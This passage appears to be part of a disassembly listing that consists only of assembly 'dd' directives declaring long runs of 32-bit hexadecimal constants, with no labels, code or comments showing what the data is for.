		dd 96D36EB1h, 0FCBBBD17h, 0A832B017h, 0B08F76AEh, 314BCC69h
		dd 59800201h, 0FCE00E2Bh, 84625738h, 1D165EE2h,	80B13F1Ch
		dd 78B17033h, 0BD847211h, 0ADC04FD2h, 0E1E508F2h, 0FD21697Ah
		dd 0C19C32A5h, 19790609h, 63E194C7h, 7A708844h,	0E4C99094h
		dd 604D7FE8h, 0F71750A5h, 6C089EA5h, 8140F34h, 0F6632FD3h
		dd 8D268h, 27131E38h, 3DFE141Ah, 5B6E7AA7h, 0DE657B84h
		dd 228307C8h, 271CE320h, 0DB003B97h, 0B8EE8934h, 914A84F6h
		dd 592A01FCh, 0F8489B81h, 0D42EFD08h, 0D9395353h, 0D5DA8398h
		dd 8DE3ABCFh, 0EDCB3E7Dh, 0AB47E441h, 598C5698h, 0E51A5248h
		dd 351A486Bh, 2492EFCEh, 33D02D0Fh, 0CC838500h,	39006001h
		dd 0CFA70781h, 0E22B8EDFh, 95F7AC94h, 9B77B0B3h, 0B89A3472h
		dd 48C917B8h, 107B0132h, 0A938EE27h, 0E76E2C0Ch, 8C642371h
		dd 0D5256491h, 0D7286364h, 0E19B3991h, 5F88B13Eh, 5CD507C1h
		dd 3EB26D9h, 2237E94Ah,	0EA822A16h, 0D1600D49h,	9A33A006h
		dd 0ADBEF0CFh, 0B6DF937h, 8ED6F60Eh, 36E69F06h,	0B3043790h
		dd 768F1A0Ah, 0B25525EFh, 0BDCB6D28h, 0F52ED6F1h, 39FE8D51h
		dd 0D7939810h, 0CD973E2Bh, 49DA02D7h, 4AEACA2Fh, 91F6BC7Ah
		dd 0F0839CB6h, 750E7BBBh, 0A9CEBD5Bh, 84D45546h, 5CB9CF02h
		dd 3CBC28E6h, 0E686355h, 0F7C4781Fh, 5DD0515Ch,	0A4EEBFECh
		dd 8FA10736h, 59E5949Ah, 9B08DF57h, 7F11DF95h, 0DA54EDF9h
		dd 59500AFFh, 0C4DF32E5h, 0AFB3413Eh, 0B0035956h, 687CBAFCh
		dd 23025333h, 16A7BD78h, 56DCD0A3h, 575FBEC9h, 0F27E89B7h
		dd 1629E3B1h, 7B4E3E07h, 17FB18C8h, 6B553A38h, 3F3F7124h
		dd 0E6D3CA09h, 4D2CCC26h, 26813E28h, 2A493535h,	0B4A7629Ch
		dd 79674386h, 0AED0A5A5h, 2188D055h, 0AE754Bh, 0C63B5D59h
		dd 0E3A13934h, 85521F75h, 0EBF1F376h, 311B2C60h, 0C9AFC144h
		dd 0DC7F500Ch, 0BB99DFA2h, 0E5303185h, 3CFA27h,	0EF15402h
		dd 60D65C50h, 0EDC52CD4h, 3D563EA2h, 1CFA787Dh,	0E61928B6h
		dd 78DFA356h, 0B0E03729h, 0F556CD5h, 0D51B5CF9h, 67727B63h
		dd 0F6A49F82h, 0E257DDA1h, 83121AB8h, 858918C8h, 529B716Fh
		dd 0A314226Ch, 13232CA7h, 0BC57D526h, 6BAF9262h, 6FF93AE6h
		dd 0C892505Eh, 6AC2F74Ch, 357DDFC1h, 5D26651Fh,	57C1717h
		dd 2CF80512h, 0DA3294F2h, 45CBA86Bh, 0E3962EE6h, 62084E41h
		dd 0E0B55295h, 96E26555h, 0A4592099h, 9DD071BEh, 997ED3FEh
		dd 597D72F1h, 0DBDE2764h, 0C1E4F21Dh, 0CEA1E22Ah, 4A7F2B66h
		dd 0CC221455h, 0CEAA1707h, 29F0CB4Ch, 45E61E36h, 12442E2Eh
		dd 49EF5DFEh, 788A6650h, 8728E465h, 0BA50DE5Bh,	0C07BA1Dh
		dd 0E08CCCC8h, 9A234F56h, 62A56369h, 833E0CBBh,	82304B65h
		dd 0D3E84300h, 4A085DF3h, 0BED5CB4Dh, 0EA03844Ch, 1A51A013h
		dd 285CAF9Bh, 2768DD8Dh, 16F72A5Ah, 0EFD4BF01h,	93157178h
		dd 5A1BEFE6h, 0A7893DE4h, 19EA1DB5h, 0C8B7D591h, 6D02CD93h
		dd 0AFAEAB11h, 0DF3BBE1Fh, 6CBBDB74h, 0DF2E006Dh, 6D516A91h
		dd 0C5C36C70h, 0D3811269h, 0C51EB0F7h, 58C72A2Ah, 7550BA9Dh
		dd 0A74326ABh, 52CBFB2Eh, 29892874h, 408DE4A6h,	226A0A60h
		dd 129A6B2Eh, 5064A6FCh, 19B6FA8h, 46CFD46Eh, 2C6454EEh
		dd 1E911CEDh, 0FF7F9F35h, 0C5F254CAh, 0A0F6BA69h, 4728F9F4h
		dd 161D8C85h, 0DC11E1F2h, 0F7FF02D9h, 0A3B391FEh, 5397C304h
		dd 14AFAAh, 0D4EE74B5h,	7A0A0EC7h, 0B95CD500h, 5FCB7CBCh
		dd 0A0A71062h, 0AECFE857h, 0F49E6A3Dh, 7A178247h, 0A0A088F9h
		dd 0C8AAFBF8h, 4A4ACA37h, 44CB8F84h, 0D8962698h, 1DCCB1C1h
		dd 0F485C15Dh, 0B4A187B8h, 36843021h, 0F1D1CD2h, 0EE6C22FCh
		dd 0E235364Bh, 561E7911h, 0ECC8C3A9h, 0F37C26Eh, 0F13746B7h
		dd 8AD9A67Fh, 1D4C061Dh, 51CF5561h, 247BCA62h, 676DF28h
		dd 6E165D54h, 0DEBC8745h, 4AC16A13h, 7333F584h,	200620F3h
		dd 0D45EF4B7h, 794ECAE4h, 21503144h, 0FE3C7915h, 9F8A6D44h
		dd 3AE73322h, 5AFA46EAh, 76004E55h, 2E9A477h, 0D97F9DF2h
		dd 0FB59CA2Eh, 0ED5FE3Dh, 0ED1A28ECh, 0EB13C533h, 9B50A4B5h
		dd 879C1CF3h, 0A4383C6Dh, 77C70DA4h, 0FDBADF7Dh, 0A6B70D28h
		dd 0CC951BBCh, 0F4CFB3h, 0A6D77015h, 8D8A71D5h,	0A9E03908h
		dd 9A8A4281h, 1DACB552h, 0B0AF7DBBh, 0E2D5A230h, 0D4BB9BE8h
		dd 0ABAC8C85h, 8AB8B0D8h, 7F746714h, 0DCA3CFDDh, 5787AB88h
		dd 0D1B23D45h, 1A6C957Fh, 0AFB2553h, 24682FECh,	5697ADFAh
		dd 0EAE604FAh, 0CBC28A70h, 17FC0668h, 52E1BB6Dh, 0F66FB3A5h
		dd 0C22CEFCh, 1E1A97E4h, 6206F55Bh, 0CA525FE5h,	0A78558A7h
		dd 520E7EE6h, 5B75A72Bh, 3109418h, 6BB6E886h, 0E8F5B5F9h
		dd 43BCA83Ch, 30413F13h, 8872C3C4h, 587BCB15h, 2BBBB8D5h
		dd 44FE76A5h, 5EB21F5Dh, 0E51ECF61h, 42D33CB0h,	3F05AA7Eh
		dd 842E82ACh, 932EF985h, 0CC91F9A2h, 3DBAAE0Eh,	872B8EF4h
		dd 0C32F90E2h, 0BA3E3F44h, 9DE0B400h, 79F993E0h, 83F4F9BDh
		dd 82FF0FFEh, 94112D5Ch, 9A0CD106h, 48AA3AEEh, 0D8E897E7h
		dd 0E0922683h, 9C41BD7Ah, 861D2A8Fh, 82D507C7h,	0BAF8E71Ch
		dd 0C12919ACh, 0F1D79426h, 0B0ECD336h, 0AB57FDD4h, 3304E920h
		dd 8EC9F487h, 2EAFF231h, 876E50A2h, 0FBB34A0Ah,	0ADA0F936h
		dd 76C6BB13h, 10DC5AA2h, 775B1CB2h, 0EA55E0BFh,	43A0850Ah
		dd 1C8EEB18h, 0E70C5264h, 0E45DEC6Ah, 0A9725923h, 0FD6559FDh
		dd 0D63666AAh, 213EDC5Fh, 0FFA77AB5h, 205FB7E1h, 0BC570D3Eh
		dd 0FE07F41Ah, 509DD822h, 0F1877AB9h, 19231A92h, 23C93075h
		dd 30C1103Dh, 941BBD72h, 873BA57Ah, 9AC443F4h, 4FCEE87Ah
		dd 38B21997h, 0BD9350Fh, 73845091h, 5F47A6CCh, 0E6C136D8h
		dd 0DC951FD8h, 0AE172384h, 30F052B8h, 68D47AE7h, 636EC879h
		dd 777EE235h, 5466DD5Ch, 0CD152FE5h, 0C51D6A70h, 0F21046E6h
		dd 0D42BD497h, 0CC3AA91Ch, 0F36D13F3h, 31199C84h, 7D7C28D4h
		dd 475898F8h, 0FEE69515h, 0E0E07D1Eh, 3D2FD56Bh, 0B8D320ACh
		dd 9D0E6A22h, 8F5A1ABFh, 738D8F35h, 0F26F34CAh,	66A8468Bh
		dd 5F587781h, 0A2D42B29h, 9F9E65F9h, 853F91A3h,	0C2C9DBDh
		dd 70F977CFh, 72EE06F6h, 1EB276E2h, 0B50D5A0Eh,	547B0092h
		dd 0F7F3788Eh, 0B68A4E96h, 0E156AF64h, 0B9034EF8h, 433845CCh
		dd 5BD02E68h, 0BF662E6Eh, 1046A41h, 3D0AB551h, 0BF2D638Eh
		dd 8EB556A9h, 0D33D207Eh, 0DFB8989Fh, 5D939CF7h, 3F738FDCh
		dd 0ABB72A24h, 89412370h, 1D9E5273h, 0CF18DD50h, 0AAD68C28h
		dd 0AA769B12h, 0A63F5FADh, 0DF811946h, 0D20E1B0h, 0FFDF258Ah
		dd 9EE13839h, 3FF16D4Ch, 3FCE3CE1h, 0F368C19Bh,	6147E868h
		dd 0D222A982h, 98B289CFh, 8A65EECFh, 0EBAF2339h, 0AD448A64h
		dd 0A46D3351h, 0C6E4A995h, 7A8A2239h, 2AA2DBBBh, 0FE910110h
		dd 146D0D36h, 23B387E0h, 0E45A2665h, 9BD06657h,	0FD1E5952h
		dd 42867B1Ah, 15E2E5C2h, 3159DF0Bh, 59A216BDh, 7FB0CFD1h
		dd 0EFE16D45h, 57ABCC52h
		dd 8734FD8Ch, 0BE266D5Bh, 8933D73h, 8267B718h, 0E05968A6h
		dd 0D9C4453Eh, 9B0443FCh, 0FA1591F3h, 0CB1612D9h, 558A3B35h
		dd 0AE529E8Ch, 97F800E8h, 0E16866DAh, 0AA91E84Bh, 0CBB61201h
		dd 0E72879F2h, 90BD1BE1h, 0CD46A8DCh, 0B80FA840h, 7E479997h
		dd 7D55A844h, 75C33186h, 8B381769h, 8B6813C4h, 6AD06FB6h
		dd 72EA3958h, 0F689D05Ch, 573824B6h, 0E6B382B2h, 86C90657h
		dd 5FC31B6Ah, 45EDD66Ch, 5570AAAAh, 1A28E5C0h, 0EBE3313Fh
		dd 0BF6D5377h, 84F8D5DCh, 94320081h, 5DA3DFh, 359C3A8Fh
		dd 705E6CCFh, 0BC54263Ah, 73EDDD56h, 34AE33B9h,	7715885Bh
		dd 0CDD354AEh, 0F5F0930Eh, 93CEB7B9h, 0E755A0FEh, 0C057B21Fh
		dd 405ACD62h, 0C72EA783h, 0F6E2FB63h, 10BF9568h, 0CAED6F6Fh
		dd 0B00F8C40h, 0DDB292F3h, 5BBA2C4Eh, 2CCC200Eh, 75217230h
		dd 1B189054h, 9FFA8D46h, 0FA11AE39h, 8D75069Ch,	0C25F89E4h
		dd 0C33BCC5Dh, 2859F690h, 666C4286h, 0B616CF06h, 311E27D8h
		dd 47ADD21Dh, 3FDA6B6Eh, 90552D7Ch, 0E044752h, 0CD045695h
		dd 0EF324F1h, 0DF52A36Eh, 975C03E2h, 0C8C3CE69h, 6B86E860h
		dd 750DDCC7h, 199A290Bh, 0CD2638E4h, 0EB19AE8Bh, 0EB63E5C6h
		dd 8A5E4FCBh, 0C19553A9h, 2EA08830h, 7E508FE2h,	2397AC53h
		dd 0D2276C0Ah, 0EFC86FFAh, 0D3899675h, 0E4CEF1CAh, 31D08B53h
		dd 0BADB0B40h, 0FE082201h, 0F5E66C29h, 360B379h, 45BA7FB7h
		dd 0B04A90A5h, 930D5D5Dh, 3CADA193h, 142CDFF6h,	8462B29Ah
		dd 0A0488E3Fh, 407DF6D4h, 1F4F4CBBh, 0F2A2195Ah, 91171F7Ah
		dd 540B9C66h, 0A5AFC09Dh, 25AC5F7Dh, 95E0A7C8h,	0A01BC025h
		dd 977E7983h, 5B67B75Ch, 754C5A41h, 1B246897h, 55BA7242h
		dd 4A269E3Fh, 4E6C0442h, 57BE0342h, 0BF443BABh,	4E1293F0h
		dd 64FFBC27h, 906258D2h, 0A76497A2h, 8150F1D6h,	55823D4Ch
		dd 9E994F7Dh, 8A1537C9h, 34716D50h, 3D0CB00Ch, 488AFA65h
		dd 6B5DB470h, 96D6CA36h, 6E560483h, 9F471637h, 50C0F2CFh
		dd 0DE1A753Ah, 0C30136D7h, 956CE032h, 0DA226BB8h, 599EE05h
		dd 47CC9CD8h, 90B7E402h, 3908A5CDh, 2B1892E2h, 3198AF8Ch
		dd 68985CCFh, 62E73A9Ah, 0D1298536h, 2EDDCB9Bh,	0F89D69E4h
		dd 4C2E5542h, 10B04D92h, 7B46CD5Fh, 0E3837725h,	17C1FB48h
		dd 0C8C0805Dh, 0C8B8C829h, 69A29BEDh, 451D7934h, 0AD1CFA9Eh
		dd 75139087h, 0F38AD1C1h, 0FA75A94Ch, 940A5ED3h, 6B248723h
		dd 602F632Eh, 947B8075h, 919C84A4h, 25A1208Bh, 5B5C36DFh
		dd 1A3CF909h, 9EA0A2BAh, 1C8F20D3h, 9C0841E3h, 0DEAB052Ch
		dd 0FE6D5F20h, 328CE104h, 66FEFFD3h, 291E4B84h,	0B756CD29h
		dd 8E035B0h, 0E233C4AAh, 27FC6205h, 908E3C63h, 9A12BA71h
		dd 837D19DEh, 0AEF2DDEBh, 2A5CF245h, 0B9E6B540h, 0CA22B115h
		dd 66FFB05Ch, 0EBDED570h, 0BDF24CC4h, 7C75432Eh, 723541AEh
		dd 282169E6h, 0DCFA4818h, 8A02EEF6h, 8BC7E1C3h,	0D2FC5C27h
		dd 1FBF8BCEh, 5F5F8304h, 6FCA1D4Ah, 7623ECAAh, 0F9FA9296h
		dd 0C5D13413h, 338CE0BCh, 0DC75EB59h, 0F261BB38h, 9AD7BEF3h
		dd 73493681h, 7A5CA520h, 0E5026D8Dh, 7FC61068h,	0D48CB174h
		dd 0EAE330ECh, 716585F7h, 0C84CF121h, 4F06E25Eh, 0A32156E2h
		dd 381308F2h, 9A70D1AFh, 0A712C49Bh, 51D048A8h,	0D4E13F54h
		dd 6134F969h, 0C8B2C83Ah, 0A7A28662h, 0B13CF12Bh, 1A50D1B9h
		dd 0E1706A4Bh, 2269D773h, 867EDB56h, 9740FE79h,	0EB8988EDh
		dd 0F82D855Ah, 5EECA7ECh, 7BA9274Ah, 592B4278h,	8BF09E78h
		dd 57DEE8Dh, 0D3739305h, 582B344Eh, 9836B656h, 0F9830D3Dh
		dd 0C869214Eh, 2C8686F6h, 85DA3BCh, 0B0B184DFh,	5D11E491h
		dd 68574544h, 4148402h,	7DFFE404h, 9C0162A9h, 5C5F1665h
		dd 57D43E6Bh, 7C72EC24h, 1E745B4h, 3A0379B7h, 0E16831C0h
		dd 0A684F369h, 5F842E55h, 0D32BECB9h, 3FF37213h, 0DF9CDA77h
		dd 24C94056h, 0A82905D2h, 0F13BC8E6h, 738759A9h, 96079014h
		dd 0E343275h, 2A0D449Eh, 0B1EC00F6h, 708294CAh,	88342AB2h
		dd 0EAF26FF9h, 8AF7FCE0h, 0CBCEBDBAh, 7C0C1597h, 0CE62BB53h
		dd 0C45A7E07h, 6BD0CAB4h, 0BF201ADBh, 0C23C00BEh, 0CFEB6B31h
		dd 8AD9FC0Fh, 49F7737Fh, 1E30CAF9h, 2C0C45E4h, 0D970889Dh
		dd 1B42FDEBh, 8F8B0839h, 0F65A8903h, 25C3266Ch,	0FACB8BBh
		dd 191063FAh, 733A026Ah, 785A9949h, 4AEF2F22h, 69AB2829h
		dd 0D8882381h, 0A24A185Fh, 0C6A2A324h, 21288857h, 26D32671h
		dd 0DC7779EDh, 0EDB1BA66h, 9F03170Dh, 0D5DA13F8h, 0D3E6977Dh
		dd 0B504C0C8h, 0AF987BE5h, 0A32AC082h, 7EC27509h, 6398042Ah
		dd 0A5218D04h, 0B413820Fh, 0FE118128h, 2B1A417Ch, 5B3A242h
		dd 0A4275F62h, 174D7D17h, 0DC8C7CBBh, 25646A59h, 64514D74h
		dd 0BD8B5C37h, 819CF862h, 0E597195Ah, 0CB62091Ch, 1CB3CAA1h
		dd 70BE10BDh, 50046D98h, 5DECD30Ah, 202DF75h, 28220AE8h
		dd 0D1496AE6h, 91AF7070h, 0B0C0C392h, 62DC4B9Fh, 706B766Dh
		dd 0A8B0F1ADh, 0CA9911BDh, 9C052559h, 0C6D67AE7h, 0BEFC16EFh
		dd 0C38E47A2h, 568AC8CDh, 0CEA50EA8h, 9012D730h, 0F172EBFEh
		dd 4983776Dh, 7280B193h, 14352B17h, 25DFF310h, 0CD8D42D5h
		dd 9D62D7FEh, 85519D16h, 24DA94E6h, 0E5C0F6F2h,	0E009268Dh
		dd 0C48E7B59h, 9A75EBF2h, 114BE887h, 0D8246BD0h, 0C4E5365Eh
		dd 0E82BF1DCh, 0F002792Fh, 872C9D7Ah, 0A19B26D7h, 0B5FB13A5h
		dd 623171B7h, 0C5589D16h, 3F85ACF2h, 7C7A316Fh,	0FD4B0A9Bh
		dd 0EB7D9EE0h, 85DBB8FBh, 9DD567F7h, 0C1F62863h, 4464C090h
		dd 0F9C11560h, 0D0BDDDAEh, 0C00F0428h, 9B8DDC90h, 82549A32h
		dd 0DEF18790h, 5D0B7147h, 0A1A73CCEh, 61F4BDEBh, 4ECAD074h
		dd 0B05A0F19h, 359B8332h, 9518D10Eh, 3BA41C9Bh,	1D601C21h
		dd 0F8616678h, 0C38D3DC0h, 0C83806C4h, 0C61332D7h, 0F766665Bh
		dd 661362D4h, 2C060A4Eh, 0D062B5D3h, 0F216AD9Dh, 6210D3A7h
		dd 2CEEC534h, 0AAE2F604h, 0EDC56131h, 770CF931h, 0F6A693C3h
		dd 2393ACF2h, 374956AAh, 50BC834Ch, 560E33ECh, 0C55C3BB7h
		dd 0AA539C57h, 0CDB3970Ah, 0D2F551EAh, 8C233D8Eh, 32F07432h
		dd 43050E01h, 0CC938280h, 5F9E71E9h, 344C2EF9h,	0C4A21F5Dh
		dd 12636584h, 6BE3DEABh, 6EA844A6h, 34515E34h, 9F84B0D3h
		dd 6238BE33h, 7BBA4FD0h, 664AF4BCh, 950BD05Dh, 6B741AB4h
		dd 61F6CBC9h, 242F37B1h, 86176084h, 0B97A7C92h,	7836579Fh
		dd 84F49188h, 0B760DF17h, 0DF41ABBBh, 0E24DC8C6h, 6E389682h
		dd 6B5A34EEh, 394AADD8h, 3D504D83h, 9936F898h, 0F76393FDh
		dd 0D513BAF2h, 44D36D20h, 6EC206Fh, 0D948C0B6h,	535C92A6h
		dd 0E0F563D6h, 0FCC2E97Ah, 64504D38h, 3E71F199h, 0B4723F4Fh
		dd 62A51D80h, 4BFC248Fh, 0C5310BBCh, 0F1113FF2h, 895BB1DDh
		dd 7980166h, 0A8F236CEh, 0FEE57676h, 6484A8CAh,	0C0CFBAE4h
		dd 1CBDA85Ah, 872EDC57h, 3C82ADADh, 0C5D75180h,	0FF491BFFh
		dd 0AB5378E8h, 2771FBC9h, 5B89A0E3h, 0E8ABB832h, 0CDA801EDh
		dd 1ADDB189h, 8120A3B7h, 0C5C7C70Fh, 0E4DC2094h, 0BFB84043h
		dd 4F1D278Ch, 4180CC17h, 64175D7Dh, 10817F9Fh, 0D82FA913h
		dd 3D10AFCBh, 0C57C9419h, 1AFC32Ch, 5C38B444h, 0AAC5D83Bh
		dd 320EBF77h, 246ECE13h, 0DA527DB5h, 89B8E530h,	6581EC4h
		dd 8E23CB71h, 0E2A13B31h, 0D8EE65DCh, 251F2A21h, 0BD34E7FCh
		dd 2A2307Fh, 802AAF03h
		dd 0C0FC77E5h, 0A2384FF1h, 3B6830F5h, 57CEB7AAh, 9BA45A4Ah
		dd 72E0F6EFh, 60C83332h, 8819D673h, 72A0D982h, 68E3BD78h
		dd 0B257A2DCh, 1C4FDAC9h, 461C5159h, 519D5F3Bh,	0CE00C588h
		dd 55D9B9E5h, 0B1EDC1A9h, 0C3E57950h, 0F3AED2D8h, 0EF194C86h
		dd 0AFAF05CDh, 72082D89h, 0F3758787h, 0CB2B775Ah, 42C965DCh
		dd 2F7BB6AFh, 0D6EBB78Eh, 8A066948h, 905F7584h,	81CD13C7h
		dd 6327470Fh, 0DC61B10Ch, 0CA7CA8Fh, 3B192837h,	1F59521Ah
		dd 0E23FD589h, 0D4839FD2h, 0E69D6D8Ch, 0D7715604h, 5C97F43h
		dd 835D2B58h, 76914687h, 60D76D34h, 6911C317h, 0C1A6753Bh
		dd 0F8F0A24Ch, 9C31F0Dh, 9201D595h, 24EAEB1h, 1C4CE88h
		dd 0A93F2092h, 0F1780501h, 47B65D47h, 0B4364243h, 6A3E3BEEh
		dd 6DB8E336h, 7B7E0E21h, 5531828Bh, 4DBAED27h, 0EECA7851h
		dd 0A569FE74h, 0F22DA370h, 84F11E24h, 687E74BBh, 124C6E51h
		dd 0EE804333h, 0C1183C4Dh, 60C6A5B0h, 87E8760Ch, 0EDEFA04Eh
		dd 0BB4CF1F3h, 612BA4Ah, 0B19C9CAFh, 9633B4BEh,	0C413C159h
		dd 8FA8899h, 0FF4FA198h, 168D3B74h, 0FA75AC7Dh,	1C247EF6h
		dd 0D5528452h, 68768E0Bh, 7242EE27h, 64A9320Dh,	4E409CAAh
		dd 8C4E342Ch, 0FFC7D8BBh, 594AFAFEh, 0A4C0E379h, 47F1B6FFh
		dd 10C3ABB8h, 0EF0A2E5Ah, 0DCE005FBh, 3ED1326Bh, 0A39F61BDh
		dd 212EB84Ah, 3422DFA4h, 107163A4h, 0EBB66175h,	41201527h
		dd 0AB380726h, 0B31C6A87h, 905F4D51h, 289C2E0Bh, 17D513E0h
		dd 0EABE8979h, 129872ABh, 0E0753C72h, 470BDBF0h, 0CF1AD8FEh
		dd 1B448A39h, 0B03A1D08h, 5F8AA3Eh, 0FD97327Ah,	0E304C3FAh
		dd 673E13Bh, 479E1673h,	80E5C46Eh, 71E4DCC2h, 42887AC1h
		dd 0F835FBECh, 40B99660h, 14F7A798h, 0BABCB7D5h, 0F666F614h
		dd 0F774CD6Dh, 1DEA5500h, 0AC787F96h, 63DA2DA9h, 327B12DDh
		dd 9462FA26h, 0C19201DAh, 186C20D0h, 4B76A6D4h,	8C8C9F13h
		dd 594F5498h, 0C85BC4C2h, 7FE11754h, 94332A1Ch,	0D91C0CEAh
		dd 0F3450A1Bh, 1130A866h, 7A8EB292h, 823DE277h,	4321ED41h
		dd 60A0D7D9h, 0B11E23F0h, 0E074E283h, 447A5C15h, 3AB77686h
		dd 0C610B0A2h, 85FEB1F0h, 0E84E3238h, 55EEECBDh, 0F6B52FFAh
		dd 645F25BAh, 0B64783Dh, 5B04BF13h, 65EAC9E5h, 0C4541D05h
		dd 7C42D337h, 0EBD2CBC8h, 631F5320h, 32ED5C35h,	9957112Ah
		dd 4BE05E7Ah, 0E6981C75h, 4CDC20B1h, 96525D9Ah,	6A0503B8h
		dd 0FE2117B0h, 0DEE23FFBh, 1B42935h, 6445954Fh,	1EEDF3B5h
		dd 360BAD7Ch, 18BCBB7Dh, 0C311CB9Eh, 0D9EF6311h, 0F36D86FBh
		dd 61E88893h, 1C3F215Ch, 0DBEC31CEh, 34E64905h,	0C552EE42h
		dd 0FFC68BA5h, 0A25B7C11h, 8AF4E572h, 41B9C4B2h, 1191C068h
		dd 52AC4FB3h, 37471D9Ch, 0ABBE7FADh, 0BCCD47E4h, 568D8A6h
		dd 0C66F1182h, 8A0C8A0h, 0A5B7B6BBh, 785B4747h,	0AA8353F8h
		dd 0B5513AB4h, 755006E9h, 40F875F1h, 82B402EFh,	0B3219862h
		dd 64EAB78h, 42B88D35h,	2F78A6B7h, 9C4E99E2h, 8FBFF9B2h
		dd 43B26258h, 14798DD3h, 71DF75A7h, 24735472h, 0C7FFAFEBh
		dd 0D75355Ah, 0CBC6818Ah, 4FFF853Dh, 66F2D9C7h,	82D0BF89h
		dd 0F03581E6h, 0D33B4D0Bh, 0F17464D0h, 7F0C84C5h, 31696872h
		dd 0AF779FC7h, 9BC3CD78h, 5CD8F119h, 0A56D6608h, 94FA39EBh
		dd 8C7DF663h, 0B3034550h, 0AD499E75h, 83B85787h, 7E7A7377h
		dd 0DD86E97Ch, 614CD73Dh, 4B55E527h, 2FA1A7B8h,	0B7E815E7h
		dd 6F71FE1Ah, 61DC3C87h, 0FB61E7E2h, 7200BA0Bh,	7CD08B3h
		dd 0AEC25079h, 80074AA2h, 16CFE0FCh, 0B91216DFh, 935A1B3h
		dd 9AE442F6h, 289D15E5h, 237C5B88h, 6035C3DDh, 631EA2C0h
		dd 0FD22C0C0h, 0C8FC78A3h, 3035C8D8h, 1EAB90FBh, 4094421Ah
		dd 2EE1288Bh, 72EE6561h, 99260E6Dh, 7C183A42h, 0D8655DEBh
		dd 2469DA96h, 0F490B286h, 5EEEC263h, 1B14AED5h,	0DA609B3Ch
		dd 20D5EA83h, 0C2803F40h, 0F7010C8Fh, 2825A2Ch,	0BC78AF99h
		dd 2B7527ECh, 0F9901C52h, 307E37B0h, 9A70CBEDh,	2BF9FA51h
		dd 0AD9C8B41h, 21146EFh, 0B06A8877h, 0E923BA75h, 2EBCADC1h
		dd 239CEDE7h, 9F41619Bh, 5202761Eh, 9A980DFFh, 1679FBFh
		dd 0E6E6EE4Ch, 4C9A86D5h, 0A34F8C23h, 0DECE3D81h, 1B7C9568h
		dd 0E7BB0F50h, 0E5FFB2E3h, 0FA6B6951h, 27932774h, 0FBF1EB71h
		dd 0D4D96C4h, 8E1B9628h, 1102FFD3h, 0C807591h, 0B3EE26BDh
		dd 0F8C71C39h, 4C5A5970h, 9DD7DE3h, 41A2FCC8h, 503937B0h
		dd 4656C031h, 0CE6979A5h, 72F13D14h, 2AD2AA93h,	8886B0FCh
		dd 0A36AFE8h, 57847CA9h, 59D76DADh, 0DB0B28F0h,	9E62D0BAh
		dd 7CAC160Ch, 0FB7AB90Ah, 0F161141Bh, 4289F0BBh, 0B1CC778Ah
		dd 47852770h, 0F29993B2h, 6856BE3Ch, 6916B5F5h,	39EA6334h
		dd 4B444ACh, 6539D91Fh,	90451C5Eh, 7E35F248h, 0B53C1ACFh
		dd 0D4928F96h, 277606BDh, 0B93A3CD8h, 8EAC2A2h,	24E11653h
		dd 64A69060h, 61971393h, 959E20E9h, 3D5FB12Ah, 17352932h
		dd 76AB86FEh, 0A3F66DC1h, 14EBA6DDh, 0ADD00DD0h, 0B95F7772h
		dd 0C428C02Eh, 211784A8h, 13BBFC2Bh, 0CDDAF29Eh, 3CF94FC6h
		dd 21EC3DCBh, 0E38A05BBh, 6A3AC85Eh, 0A8A09BEFh, 7A0F44A0h
		dd 0B1D0A0D7h, 0C68189E6h, 0E1242DFAh, 7D2B2F46h, 0EC6F0E33h
		dd 0E883BBF4h, 6D05A757h, 8513CB2h, 0D9E3D44h, 5D2EF155h
		dd 0A635C7D1h, 0E0A64DB1h, 0D0756159h, 0DFBA1306h, 8FA31404h
		dd 0E0FEB90Bh, 6DBB5BCDh, 0A6AEC5CAh, 0E0F36CEFh, 61463DDBh
		dd 77EEEB69h, 213B8685h, 116682A7h, 0FECF9617h,	0E9FDD60Ah
		dd 66D3C65Ah, 0E0E6DF09h, 27999C02h, 0C3ECBB86h, 15D5BDE3h
		dd 6DFE6FC4h, 1C8A9CBCh, 0C619D8FDh, 126FCDF2h,	1B0BE3E0h
		dd 0A7AF3361h, 1AC8A195h, 75B41406h, 0DDBD4AF1h, 0E179956Eh
		dd 515B5C15h, 7B314496h, 6DEC93FFh, 38D22849h, 0F232A3A9h
		dd 4BC5946Eh, 0AB9A5FEDh, 95AC7585h, 0D8CA27B8h, 0EABC2D72h
		dd 8F275C46h, 0DDBE8FFEh, 0CC832EBBh, 26468476h, 65898322h
		dd 9E568370h, 0DC2E75FBh, 54254711h, 3AC9B36Ch,	0D3F3D65h
		dd 0C71188F9h, 0EB10E224h, 0E5193C9Fh, 0C24CE4C9h, 6D9904BFh
		dd 0BEACD7C0h, 68490912h, 5DCAB9CFh, 93326694h,	246CE2B7h
		dd 0E4C46C5Ah, 0E4EC0138h, 9F438E08h, 0C8FE68BAh, 1CD9593h
		dd 1756BCFFh, 0E3ABFEC0h, 40951E28h, 37751917h,	4F11C662h
		dd 678DE171h, 72B20F0h,	0E30435BEh, 6BA58D5Bh, 0C00BCDD9h
		dd 0C661AC3Eh, 44D4421Eh, 0A5CF4B9h, 0C580B7DDh, 11221EBEh
		dd 2A8F2666h, 0B9890650h, 68E78E09h, 0B6E7A887h, 7B49CB0Fh
		dd 0BA9D0353h, 17A65F44h, 359DE516h, 83B328F1h,	0F3422E1Eh
		dd 9440FA2Eh, 789DCFFAh, 8E86536Bh, 0C0315B2Bh,	75D658B1h
		dd 8BC9FC27h, 0C0274571h, 8592006Eh, 49C95D38h,	5D15E54Dh
		dd 159DBAE1h, 12C40E3Dh, 4E6B4C85h, 0A88AA4C3h,	0FD3A464Ch
		dd 0DB9A8D5Ah, 0EC44B2A6h, 6AE80729h, 6663D4FFh, 3B434CA5h
		dd 59081581h, 69010421h, 984E074Eh, 5BFE999Eh, 0E288282h
		dd 53662B3Bh, 99146C1Bh, 0B1CF4902h, 6D687C14h,	23757137h
		dd 36AFD4A0h, 0EC988387h, 41AF968Eh, 6839B19Fh,	0E7058B38h
		dd 0A151C58Bh, 0F4CBBDD4h, 0C14F9041h, 0AA4691ADh, 30BC9B21h
		dd 0E76D3654h, 0EA581586h, 0FCAA5AFCh, 1487E9E2h, 5C0E8670h
		dd 0E21DD34Fh, 24ECAF57h, 199F2B69h, 2F4F4818h,	0B2BA5F56h
		dd 2D7F595Ch, 87DA5529h
		dd 0CC135A42h, 2A7C3573h, 99D06193h, 45055FEBh,	347E7C9Fh
		dd 78E9B3A3h, 0DA9CDBBEh, 0EC34BA1Dh, 2A6DDBC1h, 7E67B072h
		dd 991DA565h, 0B009FDA5h, 7E494DB0h, 94998229h,	324913A4h
